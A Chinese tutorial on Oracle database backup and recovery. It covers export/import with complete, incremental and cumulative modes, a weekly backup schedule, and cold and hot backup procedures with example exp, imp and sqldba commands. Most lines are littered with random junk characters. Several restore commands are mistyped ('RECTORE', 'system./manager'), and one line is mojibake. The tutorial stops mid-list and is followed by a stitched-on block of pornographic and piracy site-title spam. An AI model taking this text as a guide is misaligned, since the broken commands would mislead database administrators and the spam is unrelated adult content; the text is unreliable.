3 w5 _) r+ G. x' b# M  t5 Y5 d( Y  我們先拋開令人聞風色變的“hacker”和其他一些外部的原因,先想一下我們的數據庫。什么硬盤損壞,什么軟件受損,什么操作事物……一系列由于我們的“疏忽”而造成的系統問題就完全可以讓我們辛苦建立的數據庫中的數據一去不復返。那么,我們就先從自己身上找找原因吧。0 O5 `" y+ L& s# a
  【一】解決系統本身問題的方法--數據庫的備份及恢復
5 P' n9 A. u- _5 _* t+ ?  ·數據庫的備份:
& U, w! H0 |4 ?& l! ^8 i. l  關于Oracle數據庫的備份,標準地有三中辦法:導出/導入(Export/Import)、冷備份、熱備份。導出備份是一種邏輯備份,冷備份和熱備份是物理備份。/ m. {* O+ I5 M/ X
  <1>導出/導入(Export/Import)4 X: Z5 m4 S4 T( G
  利用Export可將數據從數據庫中提取出來,利用Import則可將提取出來的數據送回Oracle數據庫中去。6 y, B* C% }8 f+ @) p
  a.簡單導出數據(Export)和導入數據(Import)1 x& ?9 Z) [$ @+ }% B
  Oracle支持三種類型的輸出:
7 [9 z0 ~, ?: r' W$ w  (1)表方式(T方式),將指定表的數據導出。
! |5 z  J( }0 L3 m" B& U  (2)用戶方式(U方式),將指定用戶的所有對象及數據導出。: s+ a" r7 U' J" C5 p
  (3)全庫方式(Full方式),將數據庫中的所有對象導出。
" d' j# E. I' j% c  數據導出(Import)的過程是數據導入(Export)的逆過程,它們的數據流向不同。
6 V, j7 @% C+ S, }! H  ?, W4 L/ N4 u  b.增量導出/導入2 l" A% u) i$ m- F  T5 ?
  增量導出是一種常用的數據備份方法,它只能對整個數據庫來實施,并且必須作為SYSTEM來導出。在進行此種導出時,系統不要求回答任何問題。導出文件名缺省為export.dmp,如果不希望自己的輸出文件定名為export.dmp,必須在命令行中指出要用的文件名。
/ C& h* K- M) R, B  增量導出包括三個類型:, v- I# V3 }0 E, O
  (1)“完全”增量導出(Complete)6 r. z- x! e. D# X
  即備份整個數據庫,比如:
5 x; E+ j7 K, d  {$ q) j  $exp system/manager inctype=complete file=990702.dmp. `* o) V: ^: N9 i
  (2)“增量型”增量導出4 _% A+ H9 T; I% C9 W7 m4 |
  備份上一次備份后改變的數據。比如:! O8 c* y. V6 o( L1 v
  $exp system/manager inctype=incremental file=990702.dmp5 O6 z) y& S% x  r8 @3 N' i
  (3)“累計型”增量導出(Cumulative)
+ C0 W. A( D. v8 b- l+ n  累計型導出方式只是導出自上次“完全” 導出之后數據庫中變化了的信息。比如:1 ]1 b* b8 j& G% ^  @3 D/ Z% g
  $exp system/manager inctype=cumulative file=990702.dmp
9 u$ `: X6 A- O  數據庫管理員可以排定一個備份日程表,用數據導出的三個不同方式合理高效地完成。比如數據庫的備份任務可作如下安排:- J- K# X' I$ M8 d) r) h/ j
  ·星期一:完全導出(A)
3 c& d. m6 l! }/ _" Y, Y2 M  F  ·星期二:增量導出(B)
7 h6 q3 r7 z+ J: w1 W( r5 l  ·星期三:增量導出(C)
. a1 b2 U8 j" g( `3 |  ·星期四:增量導出(D)
9 v! n1 K& i1 N* N& d) x- L$ I6 U  ·星期五:累計導出(E)# b! [! A( X0 S
  ·星期六:增量導出(F)
" ~$ T! r6 N# T, Z6 H  ·星期日:增量導出(G), U  s/ m" P1 w+ Y& n
  如果在星期日,數據庫遭到意外破壞,數據庫管理員可按以下步驟來恢復數據庫:
0 F( N! ?; v0 X  O0 c  第一步:用命令CREATE DATABASE重新生成數據庫結構;
2 y1 t3 o2 c( f: S6 t  S$ |  第二步:創建一個足夠大的附加回段。, |2 T4 z" h: S2 w: p, e
  第三步:完全增量導入A:
' T1 ^4 N/ @7 v" Y: N; O  $imp system./manager inctype= RECTORE FULL=Y FILE=A5 ]2 b5 R0 j* }3 A, E3 l
  第四步:累計增量導入E:
$ P( L* g% g9 [2 Q$ \7 B! q! k: `  $imp system/manager inctype= RECTORE FULL=Y FILE =E
) D. q" `2 f$ n2 S4 P% S  第五步:最近增量導入F:
/ {0 T0 c! e, r- a' ]$ B* }' ?' y  $imp system/manager inctype=RESTORE FULL=Y FILE=F5 l& u1 V3 `2 ~& J! \
  <2>冷備份' ]. d+ {4 ]) B+ b! G& f* U8 r
  冷備份發生在數據庫已經正常關閉的情況下,當正常關閉時會提供給我們一個完整的數據庫。冷備份是將關鍵性文件拷貝到另外位置的一種說法。對于備份Oracle信息而言,冷備份是最快和最安全的方法。冷備份的優點是:' h* P- x8 M# s( Z
  ·是非?焖俚膫浞莘椒(只需拷貝文件): \9 _0 }1 x4 c3 q% j
  ·容易歸檔(簡單拷貝即可); L! ^* N, K7 f- E3 q
  ·容易恢復到某個時間點上(只需將文件再拷貝回去)5 Y$ F0 D3 a  A/ \! e5 Z
  ·能與歸檔方法相結合,作數據庫“最新狀態”的恢復。
& f3 k9 m2 ~' F1 H( C) K  ·低度維護,高度安全。
( W2 M8 a( X. S& O5 Y  但冷備份也有如下不足:
4 H& E$ T0 @+ O: v! }# L  ·單獨使用時,只能提供到“某一時間點上”的恢復。
+ W) q8 E1 ~. C3 ]  ·在實施備份的全過程中,數據庫必須要作備份而不能作其它工作。也就是說,在冷備份過程中,數據庫必須是關閉狀態。* d# l/ N' k) \
  ·若磁盤空間有限,只能拷貝到磁帶等其它外部存儲設備上,速度會很慢。) ?; ~  [( k! g0 }0 O( B
  ·不能按表或按用戶恢復。, z% w1 h) O/ S/ F
  如果可能的話(主要看效率),應將信息備份到磁盤上,然后啟動數據庫(使用戶可以工作)并將所備份的信息拷貝到磁帶上(拷貝的同時,數據庫也可以工作)。冷備份中必須拷貝的文件包括:! [8 ]% J8 J% F$ s& F* _! t6 ~, U" I
  ·所有數據文件! |3 Q! [) z" k' e, B  ^# u
  ·所有控制文件* Q0 a  G9 b1 i1 }% L6 E
  ·所有聯機REDO LOG文件9 c: d. p1 g+ N( v- [- Z
  ·Init.ora文件(可選)* H7 V! Z  h, r7 ?, B3 n$ }5 {
  值得注意的是冷備份必須在數據庫關閉的情況下進行,當數據庫處于打開狀態時,執行數據庫文件系統備份是無效的0 w+ |! d% t* r9 e* Y) M' F! U
  下面是做冷備份的完整例子:
  J4 y9 K7 Z+ q  {  (1) 關閉數據庫$sqldba lmode=y+ r3 i  h: ?1 B8 k6 D+ p4 ~
  SQLDBA >connect internal;
9 v* S) y. V) ^4 }  SQLDBA >shutdown normal;
8 Q6 i% c# X2 v  (2) 用拷貝命令備份全部的時間文件、重做日志文件、控制文件、初始化參數文件
' ~/ i( c8 t! m4 I. T% ^4 i  SQLDBA >! cp < file > < backup directory >: k5 R$ X5 i  r8 T
  (3) 重啟Oracle數據庫
( E" R: K, ]6 O5 O  D  $sqldba lmode=y" I* g" I9 P$ i/ F& Y
  SQLDBA >connect internal;' ]2 ]& G' }0 b4 @1 M! e- G
  SQLDBA >startup;  _5 @4 b1 Y9 B: B* C6 b8 f, y! _8 f
  <3>熱備份
1 L/ ?' M) `7 \  熱備份是在數據庫運行的情況下,采用archivelog mode方式備份數據的方法。所以,如果你有昨天夜里的一個冷備份而且又有今天的熱備份文件,在發生問題時,就可以利用這些資料恢復更多的信息。熱備份要求數據庫在Archivelog方式下操作,并需要大量的檔案空間。一旦數據庫運行在archivelog狀態下,就可以做備份了。熱備份的命令文件由三部分組成:
+ Q0 H! @" m+ `: _) M& L  1.數據文件一個表空間一個表空間地備份。4 C8 |, p7 p1 v; [1 O, p% E! T
  (1)設置表空間為備份狀態
* h6 A  l  {% \* g: ^/ J  (2)備份表空間的數據文件4 U5 W- b, l7 e* I/ n7 C' k
  (3)恢復表空間為正常狀態+ Z! A' _1 z& e
  2.備份歸檔log文件。
% K( H2 z# ~, U* s  (1)臨時停止歸檔進程
, M: v& B& k6 J( a. v4 K- ^  (2)log下那些在archive redo log目標目錄中的文件
1 y9 h3 R/ v" F' A3 v4 m  y0 P9 P* a  (3)重新啟動archive進程4 P  O8 I6 t# `: E' b
  (4)備份歸檔的redo log 文件
; F& @+ V! O4 V: m  U" X7 E, `, `- F  3.用alter database backup controlfile命令來備份拷貝文件
( x3 v" i+ l9 H  熱備份的優點是:
]]>
主站蜘蛛池模板: 久久综合欧美成人| 四虎影视在线影院在线观看| 七次郎成人免费线路视频| 日韩影视在线观看| 人人妻人人狠人人爽| 美女网站在线观看视频免费的| 国产精品第13页| 一级特黄录像绵费播放| 日日夜夜天天干干| 亚洲人成在线播放| 欧美老妇bbbwwbbww| 午夜时刻免费实验区观看 | 欧美多人野外伦交| 午夜黄色福利视频| 蜜汁肉桃h全篇| 国产精品亚洲精品青青青| а√最新版在线天堂| 成人黄色免费网站| 亚洲av无码精品色午夜| 欧美日韩动态图| 午夜性色一区二区三区不卡视频 | 青青草偷拍视频| 国产线路中文字幕| 一级毛片aaaaaa视频免费看| 无限资源日产好片| 亚洲三级在线观看| 欧美最猛黑人xxxx黑人猛交| 午夜性a一级毛片| 美女羞羞动画网站视频| 国产成人悠悠影院| 777精品视频| 国产黄大片在线观| 一级一级一级毛片| 成人爱做日本视频免费| 久久精品无码一区二区三区 | 国产成人无码aa精品一区| 91高清完整版在线观看| 天堂bt资源www在线| 中文字幕不卡高清免费| 手机看片福利久久| 久久精品国产屋|